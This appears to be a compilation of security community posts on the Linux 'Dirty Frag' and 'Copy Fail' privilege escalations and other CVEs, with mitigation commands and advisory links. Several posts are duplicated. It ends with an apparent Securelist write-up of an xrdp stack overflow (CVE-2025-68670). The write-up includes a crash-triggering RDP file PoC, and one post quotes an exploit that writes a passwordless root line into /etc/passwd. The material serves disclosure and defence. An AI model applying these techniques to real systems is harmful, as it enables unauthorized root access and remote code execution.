#DirtyFrag status/advisories:

AlmaLinux:
https://almalinux.org/blog/2026-05-07-dirty-frag/

Debian:
https://security-tracker.debian.org/tracker/CVE-2026-43500
https://security-tracker.debian.org/tracker/CVE-2026-43284

Gentoo:
https://bugs.gentoo.org/974307

RedHat:
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2026-43284
https://access.redhat.com/security/cve/cve-2026-43284
nothing yet on CVE-2026-43500

Rocky:
https://kb.ciq.com/article/rocky-linux/rl-dirty-frag-mitigation

SUSE / OpenSUSE:
https://www.suse.com/security/cve/CVE-2026-43500.html
https://www.suse.com/security/cve/CVE-2026-43284.html
https://www.suse.com/c/addressing-copy-fail2-aka-dirtyfrag-in-suse-virtualization/

Ubuntu:
https://ubuntu.com/security/CVE-2026-43284
https://ubuntu.com/security/CVE-2026-43500
https://ubuntu.com/blog/dirty-frag-linux-vulnerability-fixes-available

AWS:
https://aws.amazon.com/security/security-bulletins/rss/2026-027-aws/
https://explore.alas.aws.amazon.com/CVE-2026-43284.html

2 new vulnerabilities similar to copyfail:

- CVE-2026-43284 (Dirty Frag)
- CVE-2026-43500

https://github.com/V4bel/dirtyfrag

We're waiting for a release containing the last one before pushing new kernels to aports.

https://github.com/V4bel/dirtyfrag#mitigation mentions a mitigation in the meantime.

CVE-2026-43284 / "Dirty Frag" .. Antoher one of those nasty local-privilege-escallations.

Quickfix for Centos/Fedora based systems:

printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf && rmmod esp4 esp6 rxrpc 2>/dev/null; true

Caution: That also effectively disables IPSEC and AFS client support. But it can easily be reverted by removing the file when a patched kernel arrives.

#dirtyfrag #cve_2026_43284 #security #centos #fedora #redhat

Just got a kernel update from Debian 13's security channel, which fixes both CVE-2026-43284 and CVE-2026-43500, aka "Dirty Frag".

Debian 12 is not yet patched.

Tracker Links:
https://security-tracker.debian.org/tracker/CVE-2026-43284
https://security-tracker.debian.org/tracker/CVE-2026-43500

#DirtyFrag #Debian #Linux #Kernel #InfoSec

L'ensemble de notre parc infogéré est immunisé contre la faille Dirty Frag (CVE-2026-43284) depuis ce matin 08h59.

En gros, c'est l'enfant maudit de Dirty Pipe et Copy Fail qui permet une élévation locale de privilèges qui fonctionne très bien.

En savoir plus sur la faille-> https://github.com/V4bel/dirtyfrag#dirty-frag-universal-linux-lpe

Nouveaux kernels stables : 7.0.5 / 6.18.28 / 6.12.87 / 6.6.138

Ils embarquent un fix partiel pour #DirtyFrag (CVE-2026-43284) et Copy Fail 2.

Partiel, car Greg Kroah-Hartman a confirmé qu'un second patch est encore en développement et n'a pas encore été mergé.

La mitigation par blacklist des modules reste donc recommandée en attendant.
👇
https://lwn.net/Articles/1071775/

#Linux #Kernel #CyberVeille

OhMyDebn 3.7.1 now available with mitigation for Dirty Frag local privilege escalation (CVE-2026-43284)

OhMyDebn is a debonair Linux desktop for power users. It gives you the stability of the Debian distro, the ease of use of the Cinnamon desktop, and the power of AI, containers, and virtualization.

@bortzmeyer

CVE-2026-43284 selon almalinux.org
https://almalinux.org/blog/2026-05-07-dirty-frag/
⬇️
https://vulnerability.circl.lu/vuln/CVE-2026-43284

[related]
chez AlmaLinux

"Dirty Frag (CVE-2026-43284) vulnerability fix is ready for testing"
👇
https://almalinux.org/blog/2026-05-07-dirty-frag/

📰 Critical Unpatched 'Dirty Frag' Linux Zero-Day Allows Instant Root Access

🚨 CRITICAL ZERO-DAY: 'Dirty Frag' (CVE-2026-43284) vulnerability in Linux kernel disclosed with NO PATCH. Allows immediate root privilege escalation. Flaw has existed for 9 years. Admins must seek mitigations now! 🐧🔥 #Linux #ZeroDay #CyberSecurity

🔗 https://cyber.netsecops.io

@jschauma About https://istheinternetonfire.com/ DirtyFrag now has one CVE (two, actually) CVE-2026-43284 and CVE-2026-43500

"Dirty Frag" status update on the clickbait overhype: ESP half (CVE-2026-43284) now patched: mainline f4c50a4034e6, stable backports in 7.0.5 / 6.18.28 / 6.12.87 / 6.6.138 / 6.1.171 / 5.15.205 / 5.10.255. RxRPC half (CVE-2026-43500) still unpatched upstream. AWS now adds ipcomp4/ipcomp6 to the blacklist alongside esp4/esp6/rxrpc, adjacent xfrm code paths, defense in depth or a hint more is coming. AlmaLinux and CloudLinux shipped both fixes. Ubuntu, Debian, RHEL, Amazon still mitigation only.

As I haven't seen this in my timeline yet:
There is another #Linux #zeroday privilege escalation #vulnerability.
No, not copy_fail, a new one, called DirtyFrag, combining CVE-2026-43284 and CVE-2026-43500

Apparently the finder was gonna disclose this responsibly, but they claim the embargo was broken by a third party.

Most probably not patched yet in distros, but fix (at least for one of the CVEs) is in mainline.

https://github.com/V4bel/dirtyfrag

A workaround/mitigation exists: https://github.com/V4bel/dirtyfrag#mitigation

Les deux vulnérabilités composant #DirtyFrag ont reçu leurs numéros CVE :

🔴 CVE-2026-43284 — xfrm-ESP Page-Cache Write (patché en mainline : f4c50a4034e6)
🟡 CVE-2026-43500 — RxRPC Page-Cache Write

Si ce n'est pas encore fait, la mitigation reste de blacklister esp4, esp6 et rxrpc.
👇
https://vulnerability.circl.lu/vuln/CVE-2026-43284

Another day, another severe Linux vulnerability / bug: #DirtyFrag

Links:

https://www.theregister.com/security/2026/05/08/dirty-frag-linux-flaw-one-ups-copyfail-with-no-patches-and-public-root-exploit/5237230

https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/

Mitigation:

https://github.com/V4bel/dirtyfrag#mitigation

CVE:
https://nvd.nist.gov/vuln/detail/CVE-2026-43284

#cve_2026_43500 #cve_2026_43284 #cve #Linux #ZeroDay #infosec #security

Did you update your Linux kernel again to protect against the last privilege escalation bug?

No, not CopyFail (CVE-2026-31431), the new DirtyFrag (CVE-2026-43284, CVE-2026-43500).

#DirtyFrag status/advisories:

AlmaLinux:
https://almalinux.org/blog/2026-05-07-dirty-frag/

Debian:
https://security-tracker.debian.org/tracker/CVE-2026-43500
https://security-tracker.debian.org/tracker/CVE-2026-43284

Gentoo:
https://bugs.gentoo.org/974307

RedHat:
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2026-43284
https://access.redhat.com/security/cve/cve-2026-43284
nothing yet on CVE-2026-43500

Rocky:
https://kb.ciq.com/article/rocky-linux/rl-dirty-frag-mitigation

SUSE / OpenSUSE:
https://www.suse.com/security/cve/CVE-2026-43500.html
https://www.suse.com/security/cve/CVE-2026-43284.html
https://www.suse.com/c/addressing-copy-fail2-aka-dirtyfrag-in-suse-virtualization/

Ubuntu:
https://ubuntu.com/security/CVE-2026-43284
https://ubuntu.com/security/CVE-2026-43500
https://ubuntu.com/blog/dirty-frag-linux-vulnerability-fixes-available

AWS:
https://aws.amazon.com/security/security-bulletins/rss/2026-027-aws/
https://explore.alas.aws.amazon.com/CVE-2026-43284.html

2 new vulnerabilities similar to copyfail:

- CVE-2026-43284 (Dirty Frag)
- CVE-2026-43500

https://github.com/V4bel/dirtyfrag

We're waiting for a release containing the last one before pushing new kernels to aports.

https://github.com/V4bel/dirtyfrag#mitigation mentions a mitigation in the meantime.

and we have another one. This one with CVE.

#dirtyfrag #CVE-2026-43500

Just got a kernel update from Debian 13's security channel, which fixes both CVE-2026-43284 and CVE-2026-43500, aka "Dirty Frag".

Debian 12 is not yet patched.

Tracker Links:
https://security-tracker.debian.org/tracker/CVE-2026-43284
https://security-tracker.debian.org/tracker/CVE-2026-43500

#DirtyFrag #Debian #Linux #Kernel #InfoSec

Why wait for the slow UEFI when you can just `systemctl kexec` to remediate Dirty Frag with (almost) sub- 1 Minute downtime (2nd reboot for CVE-2026-43500 follows)
(all VMs except the pinned ones have been migrated off before)

@jschauma About https://istheinternetonfire.com/ DirtyFrag now has one CVE (two, actually) CVE-2026-43284 and CVE-2026-43500

"Dirty Frag" status update on the clickbait overhype: ESP half (CVE-2026-43284) now patched: mainline f4c50a4034e6, stable backports in 7.0.5 / 6.18.28 / 6.12.87 / 6.6.138 / 6.1.171 / 5.15.205 / 5.10.255. RxRPC half (CVE-2026-43500) still unpatched upstream. AWS now adds ipcomp4/ipcomp6 to the blacklist alongside esp4/esp6/rxrpc, adjacent xfrm code paths, defense in depth or a hint more is coming. AlmaLinux and CloudLinux shipped both fixes. Ubuntu, Debian, RHEL, Amazon still mitigation only.

As I haven't seen this in my timeline yet:
There is another #Linux #zeroday privilege escalation #vulnerability.
No, not copy_fail, a new one, called DirtyFrag, combining CVE-2026-43284 and CVE-2026-43500

Apparently the finder was gonna disclose this responsibly, but they claim the embargo was broken by a third party.

Most probably not patched yet in distros, but fix (at least for one of the CVEs) is in mainline.

https://github.com/V4bel/dirtyfrag

A workaround/mitigation exists: https://github.com/V4bel/dirtyfrag#mitigation

Les deux vulnérabilités composant #DirtyFrag ont reçu leurs numéros CVE :

🔴 CVE-2026-43284 — xfrm-ESP Page-Cache Write (patché en mainline : f4c50a4034e6)
🟡 CVE-2026-43500 — RxRPC Page-Cache Write

Si ce n'est pas encore fait, la mitigation reste de blacklister esp4, esp6 et rxrpc.
👇
https://vulnerability.circl.lu/vuln/CVE-2026-43284

Another day, another severe Linux vulnerability / bug: #DirtyFrag

Links:

https://www.theregister.com/security/2026/05/08/dirty-frag-linux-flaw-one-ups-copyfail-with-no-patches-and-public-root-exploit/5237230

https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/

Mitigation:

https://github.com/V4bel/dirtyfrag#mitigation

CVE:
https://nvd.nist.gov/vuln/detail/CVE-2026-43284

#cve_2026_43500 #cve_2026_43284 #cve #Linux #ZeroDay #infosec #security

Did you update your Linux kernel again to protect against the last privilege escalation bug?

No, not CopyFail (CVE-2026-31431), the new DirtyFrag (CVE-2026-43284, CVE-2026-43500).

New Ivanti EPMM Zero-Day CVE-2026-6973 Actively Exploited — Patch Immediately
#CyberSecurity
https://securebulletin.com/new-ivanti-epmm-zero-day-cve-2026-6973-actively-exploited-patch-immediately/

🚨 Ivanti Endpoint Manager Mobile flaw (CVE-2026-6973) is being exploited in limited attacks, enabling remote code execution with admin access.

CISA has added it to its KEV catalog, with federal agencies ordered to patch by May 10, 2026.

Read: https://thehackernews.com/2026/05/ivanti-epmm-cve-2026-6973-rce-under.html

CISA KEV update May 7: CVE-2026-6973 Ivanti EPMM added. Actively exploited input validation flaw. Federal deadline applies, everyone else should patch. - https://www.cisa.gov/news-events/alerts/2026/05/07/cisa-adds-one-known-exploited-vulnerability-catalog

Tracked as CVE-2026-6973, this security flaw allows attackers with administrative privileges to execute arbitrary code remotely on systems running EPMM 12.8.0.0 and earlier. https://www.bleepingcomputer.com/news/security/cisa-gives-feds-four-days-to-patch-ivanti-flaw-exploited-as-zero-day/

The vulnerability in question is CVE-2026-0300 (CVSS score: 9.3/8.7), a buffer overflow vulnerability in the User-ID Authentication Portal service of Palo Alto Networks PAN-OS software that could allow an unauthenticated attacker to execute arbitrary code with root privileges by sending specially crafted packets. https://thehackernews.com/2026/05/pan-os-rce-exploit-under-active-use.html

📰 Critical Palo Alto Networks Zero-Day (CVE-2026-0300) Actively Exploited for RCE

🚨 CRITICAL ZERO-DAY: Palo Alto Networks warns of an unpatched, actively exploited RCE vulnerability (CVE-2026-0300) in PAN-OS firewalls. The flaw allows root access via the User-ID portal. Mitigate immediately! #CyberSecurity #ZeroDay #PANOS

🔗 https://cyber.netsecops.io

⚠️ PSA: patch your AlmaLinux systems.

Copy Fail lets any local user escalate to root. We shipped fixes for AL 8, 9 & 10 ahead of upstream—they're in production now. https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail/

variante peu sympa 👀
"Unprivileged Linux LPE via xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW fast path. Page-cache write into any readable file. Overwrites a nologin line in /etc/passwd with sick::0:0:...:/:/bin/bash and sus into it. Same class as Copy Fail (CVE-2026-31431), different subsystem."
⬇️
https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo

#CyberVeille #Linux

Did you update your Linux kernel again to protect against the last privilege escalation bug?

No, not CopyFail (CVE-2026-31431), the new DirtyFrag (CVE-2026-43284, CVE-2026-43500).

CVE-2026-41940 was exploited for 64 days before a patch existed. First attack: Feb 23. Advisory: Apr 28.

After disclosure, 15,448 cPanel hosts in malicious activity on May 1 alone. Ransomware and a Mirai botnet running in parallel. CVSS 9.8. CISA KEV.

We built a free scanner. No account needed.

https://pentest-tools.com/network-vulnerability-scanning/cve-2026-41940-scanner-cpanel-authentication-bypass

#infosec #pentesting #vulnerabilitymanagement

Sur le même sujet: https://moto-station.com/moto-revue/actu/failles-de-cybersecurite-sur-les-motos-zero-et-les-scooters-yadea/727298

Recherche citée pour les scooters Yadea: https://github.com/ktauchathuranga/CVE-2025-70994

💬
⬇️
https://infosec.pub/post/46128998

CVE-2025-68670: discovering an RCE vulnerability in xrdp

In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.

We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.

Client data transmission via RDP

Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;

// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}

while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}

v n -= u8len;
v += u8len;
}

else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}

r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.

CVE-2025-68670: an RCE vulnerability in xrdp

The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];

/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).

To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.

PoC

As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()

Protection against vulnerability exploitation

It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.

The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.

Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.

Vulnerability remediation timeline

• 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
• 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
• 12/15/2025: investigation and prioritization of the vulnerability began.
• 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
• 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
• 01/27/2026: the patch was merged into the project’s main branch.

Conclusion

Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.

However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

securelist.com/cve-2025-68670/…